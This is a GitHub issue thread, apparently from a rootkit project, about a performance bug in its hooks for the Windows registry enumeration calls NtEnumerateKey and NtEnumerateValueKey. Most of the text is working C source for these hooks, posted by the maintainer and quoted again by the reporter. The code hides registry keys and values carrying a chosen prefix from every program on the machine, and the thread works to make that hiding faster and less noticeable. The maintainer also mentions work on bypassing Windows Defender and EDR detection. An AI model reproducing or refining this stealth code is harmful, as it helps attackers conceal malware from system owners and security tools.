Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

HookedNtEnumerateKey CPU Overhead?? #90

Closed
mrapxs opened this issue Jul 28, 2024 · 8 comments
Closed

HookedNtEnumerateKey CPU Overhead?? #90

mrapxs opened this issue Jul 28, 2024 · 8 comments
Labels
bug

Comments

@mrapxs
Copy link

mrapxs commented Jul 28, 2024

The current implementation of HookedNtEnumerateKey seems to hang certain windows applications that use it, specifically sfc /scannow and EventViewer. Will this be fixed in future updates? If not, is there any way you can help me to improve the implementation so it doesn't hang these programs?
@bytecode77
Copy link
Owner

The issue with the implementation is that NtEnumerateKey uses an index parameter to access sub keys. The way this function is used is by iterating over a key, by incrementing the index parameter, until no more keys are found.

So, for a key with 10 sub keys, this function is called up to 10 times, just to retrieve a sub key (without any rootkit installed).

Let's say a registry key has 10 sub keys and the third and forth are hidden. Then NtEnumerateKey with index = 7 is called. The hook now has to count the number of hidden elements prior to index 7, which is two and return the element at index 5 instead.

This is exponentially slow and especially noticable in processes that operate a lot on the registry.

Let me think about a solution, as this is clearly a nasty performance issue in some cases. If you're in a hurry and need a workaround, you can exclude specific process names, or you can de-implement the registry hooks, depending on your situation.

@bytecode77 bytecode77 added the bug label Jul 28, 2024
@bytecode77
Copy link
Owner

I've done some prototyping so far. Would you like to assist me with the testing?

I simply stored the previously accessed key and index, and the number of hidden keys before that index. Assuming that a key is enumerated "normally", this function should almost always use the cache.

The cached values still need to be stored in the thread local storage. But for testing purposes, you can simply replace the two hooks with this code:

Let me know what the result looks like, and if there is any stability issue.

static HANDLE NtEnumerateKeyCacheLastKey;
static ULONG NtEnumerateKeyCacheLastIndex;
static ULONG NtEnumerateKeyCacheHiddenCount;

static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
{
	//WCHAR debug[100];
	HANDLE cacheLastKey = NtEnumerateKeyCacheLastKey;
	ULONG cacheLastIndex = NtEnumerateKeyCacheLastIndex;
	ULONG cacheHiddenCount = NtEnumerateKeyCacheHiddenCount;

	if (cacheLastKey == key && cacheLastIndex == index - 1)
	{
		//StrCpyW(debug, L"Cached call to NtEnumerateKey(");
		//_ltow(index, debug + lstrlenW(debug), 10);
		//StrCatW(debug, L")");
		//OutputDebugStringW(debug);

		NTSTATUS status;

		while (TRUE)
		{
			status = OriginalNtEnumerateKey(key, index + cacheHiddenCount, keyInformationClass, keyInformation, keyInformationLength, resultLength);
			if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
			{
				if (HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
				{
					cacheHiddenCount++;
				}
				else
				{
					break;
				}
			}
			else
			{
				return status;
			}
		}

		NtEnumerateKeyCacheLastKey = key;
		NtEnumerateKeyCacheLastIndex = index;
		NtEnumerateKeyCacheHiddenCount = cacheHiddenCount;

		return status;
	}
	else
	{
		NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);

		// Implement hiding of registry keys by correcting the index in NtEnumerateKey.
		if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
		{
			ULONG countHidden = 0;
			for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
			{
				status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);

				if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
				{
					newIndex++;
				}
				else
				{
					countHidden++;
				}
			}

			NtEnumerateKeyCacheLastKey = key;
			NtEnumerateKeyCacheLastIndex = index;
			NtEnumerateKeyCacheHiddenCount = countHidden;

			//StrCpyW(debug, L"NtEnumerateKey(");
			//_ltow(index, debug + lstrlenW(debug), 10);
			//StrCatW(debug, L"): HiddenCount = ");
			//_ltow(countHidden, debug + lstrlenW(debug), 10);
			//OutputDebugStringW(debug);
		}

		return status;
	}
}

static HANDLE NtEnumerateValueKeyCacheLastKey;
static ULONG NtEnumerateValueKeyCacheLastIndex;
static ULONG NtEnumerateValueKeyCacheHiddenCount;

static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
{
	//WCHAR debug[100];
	HANDLE cacheLastKey = NtEnumerateValueKeyCacheLastKey;
	ULONG cacheLastIndex = NtEnumerateValueKeyCacheLastIndex;
	ULONG cacheHiddenCount = NtEnumerateValueKeyCacheHiddenCount;

	if (cacheLastKey == key && cacheLastIndex == index - 1)
	{
		//StrCpyW(debug, L"Cached call to NtEnumerateValueKey(");
		//_ltow(index, debug + lstrlenW(debug), 10);
		//StrCatW(debug, L")");
		//OutputDebugStringW(debug);

		NTSTATUS status;

		while (TRUE)
		{
			status = OriginalNtEnumerateValueKey(key, index + cacheHiddenCount, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
			if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
			{
				if (HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
				{
					cacheHiddenCount++;
				}
				else
				{
					break;
				}
			}
			else
			{
				return status;
			}
		}

		NtEnumerateValueKeyCacheLastKey = key;
		NtEnumerateValueKeyCacheLastIndex = index;
		NtEnumerateValueKeyCacheHiddenCount = cacheHiddenCount;

		return status;
	}
	else
	{
		NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);

		// Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
		if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
		{
			ULONG countHidden = 0;
			for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
			{
				status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);

				if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
				{
					newIndex++;
				}
				else
				{
					countHidden++;
				}
			}

			NtEnumerateValueKeyCacheLastKey = key;
			NtEnumerateValueKeyCacheLastIndex = index;
			NtEnumerateValueKeyCacheHiddenCount = countHidden;

			//StrCpyW(debug, L"NtEnumerateValueKey(");
			//_ltow(index, debug + lstrlenW(debug), 10);
			//StrCatW(debug, L"): HiddenCount = ");
			//_ltow(countHidden, debug + lstrlenW(debug), 10);
			//OutputDebugStringW(debug);
		}

		return status;
	}
}

@mrapxs
Copy link
Author

mrapxs commented Jul 30, 2024

I've done some prototyping so far. Would you like to assist me with the testing?

I simply stored the previously accessed key and index, and the number of hidden keys before that index. Assuming that a key is enumerated "normally", this function should almost always use the cache.

The cached values still need to be stored in the thread local storage. But for testing purposes, you can simply replace the two hooks with this code:

Let me know what the result looks like, and if there is any stability issue.

static HANDLE NtEnumerateKeyCacheLastKey;
static ULONG NtEnumerateKeyCacheLastIndex;
static ULONG NtEnumerateKeyCacheHiddenCount;

static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
{
	//WCHAR debug[100];
	HANDLE cacheLastKey = NtEnumerateKeyCacheLastKey;
	ULONG cacheLastIndex = NtEnumerateKeyCacheLastIndex;
	ULONG cacheHiddenCount = NtEnumerateKeyCacheHiddenCount;

	if (cacheLastKey == key && cacheLastIndex == index - 1)
	{
		//StrCpyW(debug, L"Cached call to NtEnumerateKey(");
		//_ltow(index, debug + lstrlenW(debug), 10);
		//StrCatW(debug, L")");
		//OutputDebugStringW(debug);

		NTSTATUS status;

		while (TRUE)
		{
			status = OriginalNtEnumerateKey(key, index + cacheHiddenCount, keyInformationClass, keyInformation, keyInformationLength, resultLength);
			if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
			{
				if (HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
				{
					cacheHiddenCount++;
				}
				else
				{
					break;
				}
			}
			else
			{
				return status;
			}
		}

		NtEnumerateKeyCacheLastKey = key;
		NtEnumerateKeyCacheLastIndex = index;
		NtEnumerateKeyCacheHiddenCount = cacheHiddenCount;

		return status;
	}
	else
	{
		NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength);

		// Implement hiding of registry keys by correcting the index in NtEnumerateKey.
		if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation))
		{
			ULONG countHidden = 0;
			for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
			{
				status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength);

				if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass)))
				{
					newIndex++;
				}
				else
				{
					countHidden++;
				}
			}

			NtEnumerateKeyCacheLastKey = key;
			NtEnumerateKeyCacheLastIndex = index;
			NtEnumerateKeyCacheHiddenCount = countHidden;

			//StrCpyW(debug, L"NtEnumerateKey(");
			//_ltow(index, debug + lstrlenW(debug), 10);
			//StrCatW(debug, L"): HiddenCount = ");
			//_ltow(countHidden, debug + lstrlenW(debug), 10);
			//OutputDebugStringW(debug);
		}

		return status;
	}
}

static HANDLE NtEnumerateValueKeyCacheLastKey;
static ULONG NtEnumerateValueKeyCacheLastIndex;
static ULONG NtEnumerateValueKeyCacheHiddenCount;

static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
{
	//WCHAR debug[100];
	HANDLE cacheLastKey = NtEnumerateValueKeyCacheLastKey;
	ULONG cacheLastIndex = NtEnumerateValueKeyCacheLastIndex;
	ULONG cacheHiddenCount = NtEnumerateValueKeyCacheHiddenCount;

	if (cacheLastKey == key && cacheLastIndex == index - 1)
	{
		//StrCpyW(debug, L"Cached call to NtEnumerateValueKey(");
		//_ltow(index, debug + lstrlenW(debug), 10);
		//StrCatW(debug, L")");
		//OutputDebugStringW(debug);

		NTSTATUS status;

		while (TRUE)
		{
			status = OriginalNtEnumerateValueKey(key, index + cacheHiddenCount, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
			if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
			{
				if (HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
				{
					cacheHiddenCount++;
				}
				else
				{
					break;
				}
			}
			else
			{
				return status;
			}
		}

		NtEnumerateValueKeyCacheLastKey = key;
		NtEnumerateValueKeyCacheLastIndex = index;
		NtEnumerateValueKeyCacheHiddenCount = cacheHiddenCount;

		return status;
	}
	else
	{
		NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);

		// Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
		if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
		{
			ULONG countHidden = 0;
			for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
			{
				status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);

				if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
				{
					newIndex++;
				}
				else
				{
					countHidden++;
				}
			}

			NtEnumerateValueKeyCacheLastKey = key;
			NtEnumerateValueKeyCacheLastIndex = index;
			NtEnumerateValueKeyCacheHiddenCount = countHidden;

			//StrCpyW(debug, L"NtEnumerateValueKey(");
			//_ltow(index, debug + lstrlenW(debug), 10);
			//StrCatW(debug, L"): HiddenCount = ");
			//_ltow(countHidden, debug + lstrlenW(debug), 10);
			//OutputDebugStringW(debug);
		}

		return status;
	}
}

Hmmm, I'm not seeing any issues with stability using that, in fact sfc /scannow is fixed when using that code. But MMC with admin tools still seems to hang and crash event viewer. What's weird is that even when I exclude MMC.exe from being injected, event viewer hangs and crashes if the rootkit is installed, but editing HookedNtEnumerateKey to do nothing but return the original value fixes it. Appreciate the help!

@mrapxs
Copy link
Author

mrapxs commented Jul 30, 2024

I decided to leave MMC open on the hang while the rootkit was installed to see what would happen, and after about 5 minutes it finally gave me a JIT error "Item cannot be added to the ListView."
See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.InvalidOperationException: Item cannot be added to ListView.
at System.Windows.Forms.ListView.InsertItemsNative(Int32 index, ListViewItem[] items)
at System.Windows.Forms.ListView.InsertItems(Int32 displayIndex, ListViewItem[] items, Boolean checkHosting)
at System.Windows.Forms.ListView.ListViewNativeItemCollection.Add(ListViewItem value)
at System.Windows.Forms.ListView.ListViewItemCollection.Add(ListViewItem value)
at Microsoft.Windows.ManagementUI.CombinedControls.EventHomeControl.UpdateEventsList()
at Microsoft.Windows.ManagementUI.CombinedControls.EventHomeControl.UpdateUiToShowSuccess()

************** Loaded Assemblies **************
mscorlib
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9256.0 built by: NET481REL1LAST_B
CodeBase: file:///C:/Windows/Microsoft.NET/Framework64/v4.0.30319/mscorlib.dll

Microsoft.ManagementConsole
Assembly Version: 3.0.0.0
Win32 Version: 10.0.22621.1
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/Microsoft.ManagementConsole/3.0.0.0__31bf3856ad364e35/Microsoft.ManagementConsole.dll

System
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9251.0 built by: NET481REL1LAST_C
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll

MMCFxCommon
Assembly Version: 3.0.0.0
Win32 Version: 10.0.22621.1
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/MMCFxCommon/3.0.0.0__31bf3856ad364e35/MMCFxCommon.dll

System.Configuration
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll

System.Core
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9241.0 built by: NET481REL1LAST_C
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll

System.Xml
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll

System.Windows.Forms
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9251.0 built by: NET481REL1LAST_C
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll

System.Drawing
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll

EventViewer
Assembly Version: 10.0.0.0
Win32 Version: 10.0.22621.1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/EventViewer/v4.0_10.0.0.0__31bf3856ad364e35/EventViewer.dll

MIGUIControls
Assembly Version: 1.0.0.0
Win32 Version: 10.0.22621.1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/MIGUIControls/v4.0_1.0.0.0__31bf3856ad364e35/MIGUIControls.dll

System.ServiceProcess
Assembly Version: 4.0.0.0
Win32 Version: 4.8.9032.0 built by: NET481REL1
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.ServiceProcess/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.ServiceProcess.dll

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

bytecode77 added a commit that referenced this issue Aug 4, 2024
@bytecode77
#90 - Cache RegistryEnum operations in TLS
6c1651e
@bytecode77
Copy link
Owner

I have created a new branch here with the above implementation, but using TLS. I see that sfc /scannow doesn't work at all with the current release, but it does work with the version from the new branch. Event Viewer seems to work, but only most of the times, though.

Could you compile that version and try? I'm curious if this implementation is stable and solves the particular issue.

@mrapxs
Copy link
Author

mrapxs commented Aug 9, 2024

I have created a new branch here with the above implementation, but using TLS. I see that sfc /scannow doesn't work at all with the current release, but it does work with the version from the new branch. Event Viewer seems to work, but only most of the times, though.

Could you compile that version and try? I'm curious if this implementation is stable and solves the particular issue.

Not noticing any changes in Event Viewer on my end, for me it still crashes no matter what. SFC /Scannow is fixed but that's all. Appreciate your help :)

@bytecode77
Copy link
Owner

I'll still look into the issue with event viewer some time soon. In the mean time, you can grab the source code from the branch and use it. I'll post here when I'm done fixing the performance issues in EventVwr.

@bytecode77
Copy link
Owner

Happy new year!

Sorry to keep you waiting for so long... I was especially occupied with updates to some Windows Defender detections and EDR bypasses (see changelog).

However, I have now released version 1.5.5 with a bugfix for NtEnumerateKey and NtEnumerateValueKey that should sort out any crashes or performance issues. The performance will still be less than optimal for a resource hungry operation like sfc /scannow, but at least it will not crash.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
bug
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@bytecode77 @mrapxs